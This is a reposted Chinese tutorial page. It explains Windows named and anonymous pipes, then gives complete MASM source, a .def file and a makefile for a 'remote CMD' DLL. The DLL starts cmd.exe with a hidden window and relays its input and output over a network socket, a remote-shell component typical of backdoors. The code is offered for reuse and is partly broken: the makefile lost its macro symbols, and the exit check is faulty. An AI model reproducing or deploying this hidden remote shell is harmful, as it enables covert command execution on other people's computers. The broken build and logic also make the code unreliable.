分享
 
 
 

利用匿名管道实现远程CMD

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

一.基本的理论知识

1.什么是管道以及分类

管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。

2.管道的使用

A.命名管道

命名管道是由服务器端的进程建立的,管道的命名必须遵循特定的命名方法,就是 "\\.\pipe\管道名",当作为客户端的进程要使用时,使用"\\计算机名\\pipe\管道名" 来打开使用,具体步骤如下:

服务端通过函数 CreateNamedPipe 创建一个命名管道的实例并返回用于今后操作的句柄,或为已存在的管道创建新的实例。 服务端侦听来自客户端的连接请求,该功能通过 ConnectNamedPipe 函数实现。

客户端通过函数 WaitNamedPipe 来等待管道的出现,如果在超时值变为零以前,有一个管道可以使用,则 WaitNamedPipe 将返回 True,并通过调用 CreateFile 或 CallNamedPipe 来呼叫对服务端的连接。

此时服务端将接受客户端的连接请求,成功建立连接,服务端 ConnectNamedPipe 返回 True 建立连接之后,客户端与服务器端即可通过 ReadFile 和 WriteFile,利用得到的管道文件句柄,彼此间进行信息交换。 当客户端与服务端的通信结束,客户端调用 CloseFile,服务端接着调用 DisconnectNamedPipe。最后调用函数CloseHandle来关闭该管道。

B.匿名管道

由于命名管道使用时作为客户端的程序必须知道管道的名称,所以更多的用在同一“作者”编写的服务器/工作站程序中,你不可能随便找出一个程序来要求它和你写的程序来通过命名管道通信。而匿名管道的使用则完全不同,它允许你和完全不相干的进程通信,条件是这个进程通过控制台“console”来输入输出,典型的例子是老的 Dos 应用程序,它们在运行时 Windows 为它们开了个 Dos 窗口,它们的输入输出就是 console 方式的。还有一些标准的 Win32 程序也使用控制台输入输出,如果在 Win32 编程中不想使用图形界面,你照样可以使用 AllocConsole 得到一个控制台,然后通过 GetStdHandle 得到输入或输出句柄,再通过 WriteConsole 或 WriteFile 把结果输出到控制台(通常是一个象 Dos 窗口)的屏幕上。虽然这些程序看起来象 Dos 程序,但它们是不折不扣的 Win32 程序,如果你在纯 Dos 下使用,就会显示“The program must run under Windows!”。

一个控制台有三个句柄:标准输入、标准输出和和标准错误句柄,标准输入、标准输出句柄是可以重新定向的,你可以用匿名管道来代替它,这样一来,你可以在管道的另一端用别的进程来接收或输入,而控制台一方并没有感到什么不同,就象 Dos 下的 > 或者 < 可以重新定向输出或输入一样。通常控制台程序的输入输出如下:

(控制台进程output) write ----> 标准输出设备(一般是屏幕)

(控制台进程input) read <---- 标准输入设备(一般是键盘)

而用管道代替后: (作为子进程的控制台进程output) write ----> 管道1 ----> read (父进程)

(作为子进程的控制台进程input) read <----> 管道2 <---- write (父进程)

使用匿名管道的步骤如下:

使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出

准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo

使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄

使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中

父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程

父进程可以通过 PeekNamedPipe 来查询子进程有没有输出

子进程结束后,要通过 CloseHandle 来关闭两个管道。

我把自己写的一个cmd动态连接库完整源代码贴出来

;*********************************************************

;程序名称:汇编实现远程才CMD

;作者:JaZzy

;日期:2005.1.17

;联系方式:QQ 28919455 EMAIL:bisonal23@yahoo.com.cn

;注意事项:如欲转载,请保持本程序的完整,并注明:

;转载自“只言片语的人生~”(

http://www.blogcn.com/user24/bisonal23/index.html)

;*********************************************************

;主程序

.386

.model flat, stdcall

option casemap:none

;##############################################################################

;include files

;##############################################################################

include C:\masm32\include\windows.inc

include C:\masm32\include\user32.inc

include C:\masm32\include\kernel32.inc

include C:\masm32\include\ws2_32.inc

include C:\masm32\include\advapi32.inc

include C:\masm32\include\Wininet.inc

include C:\masm32\include\shlwapi.inc

includelib C:\masm32\lib\user32.lib

includelib C:\masm32\lib\kernel32.lib

includelib C:\masm32\lib\ws2_32.lib

includelib C:\masm32\lib\advapi32.lib

includelib C:\masm32\lib\Wininet.lib

includelib C:\masm32\lib\shlwapi.lib

;##############################################################################

.const

szCmd db 'cmd.exe',0

szEND db 'END',0

szExit db 'exit',0

;##############################################################################

.data?

szBuf1 db 65535 dup(?)

szBuf2 db 65535 dup(?)

;##############################################################################

.code

;##############################################################################

DllEntry proc _hInstance,_dwReason,_dwReserved

mov eax,TRUE

ret

DllEntry Endp

;##############################################################################md

ReCmd proc CmdSock

WORD

local @hReadPipe1

local @hWritePipe1

local @hReadPipe2

local @hWritePipe2

local @dwCount

local @dwCmdLen

local stSA:SECURITY_ATTRIBUTES

local stStartInfo:STARTUPINFO

local stProcInfo:PROCESS_INFORMATION

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

;建立两个匿名管道用于和远程cmd进行数据交换

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Mov stSA.nLength,12

Mov stSA.lpSecurityDescriptor,NULL

Mov stSA.bInheritHandle,TRUE

Invoke CreatePipe,addr @hReadPipe1,addr @hWritePipe1,addr stSA,0

Invoke CreatePipe,addr @hReadPipe2,addr @hWritePipe2,addr stSA,0

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

;创建一个远程的cmd.exe

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Invoke RtlZeroMemory,addr stStartInfo,sizeof STARTUPINFO

Mov stStartInfo.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES

Mov stStartInfo.wShowWindow,SW_HIDE

Mov eax,@hReadPipe1

Mov stStartInfo.hStdInput,eax

Mov eax,@hWritePipe2

Mov stStartInfo.hStdOutput,eax

Mov stStartInfo.hStdError,eax

Invoke CreateProcess,NULL,offset szCmd,NULL,NULL,1,0,NULL,NULL,addr stStartInfo,addr stProcInfo

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

;循环读取信息;发送数据到控制端,然后发送一个结束标志

;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

.while TRUE

;***********************************************************

;从管道中读取数据并显示

;***********************************************************

.while TRUE

Mov @dwCount,0

Invoke RtlZeroMemory,offset szBuf1,65535

.While @dwCount==0

Invoke PeekNamedPipe,@hReadPipe2,offset szBuf1,65535,addr @dwCount,NULL,NULL

.endw

Invoke ReadFile,@hReadPipe2,offset szBuf1,65535,addr @dwCount,NULL

Invoke send,CmdSock,offset szBuf1,@dwCount,0

.break .if eax<=0

Mov ecx,@dwCount

Dec ecx

.break .if byte ptr[offset szBuf1+ecx]==62

.endw

Invoke send,CmdSock,offset szEND,sizeof szEND,0

;*************************************************************

;从网络上读取远程cmd命令,将其写入管道

;*************************************************************

Invoke RtlZeroMemory,offset szBuf2,65535

Invoke recv,CmdSock,offset szBuf2,65535,0

.if eax == SOCKET_ERROR || eax == 0

invoke WSAGetLastError

.if eax == WSAEWOULDBLOCK

.continue

.else

invoke TerminateProcess, stProcInfo.hProcess, 0;连接若断开则结束cmd进程

.break

.endif

.else

Mov @dwCmdLen,eax

Invoke WriteFile,@hWritePipe1,offset szBuf2,@dwCmdLen,addr @dwCount,NULL

Invoke send,CmdSock,offset szBuf2,@dwCount,0

invoke lstrcmp,offset szBuf2,offset szExit ;如果传送过来的是exit,则退出

.break

.endif

.endw

ret

ReCmd endp

;#####################################################################

end DllEntry

cmddll.def文件

EXPORTS

ReCmd

Cmddll的makefile文件

DLL = cmddll

ML_FLAG = /c /coff

LINK_FLAG = /subsystem:windows /Dll /section:.bss,S

####################################################

# 创建共享数据段的DLL时使用的连接选项

# LINK_FLAG = /subsystem:windows /Dll /section:.bss,S

####################################################

(DLL).dll: (DLL).obj (DLL).def

Link (LINK_FLAG) /Def

DLL).def (DLL).obj

.asm.obj:

ml (ML_FLAG) <

.rc.res:

rc <

clean:

del *.obj

del *.exp

del *.lib

注:本程序在链接的时候会有一个警告,由于自己没有在具体程序中实现,现在还不知道会不会出现问题,欢迎你参与讨论。

最后感谢司令,大嘴还有网上提供资料的网友。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有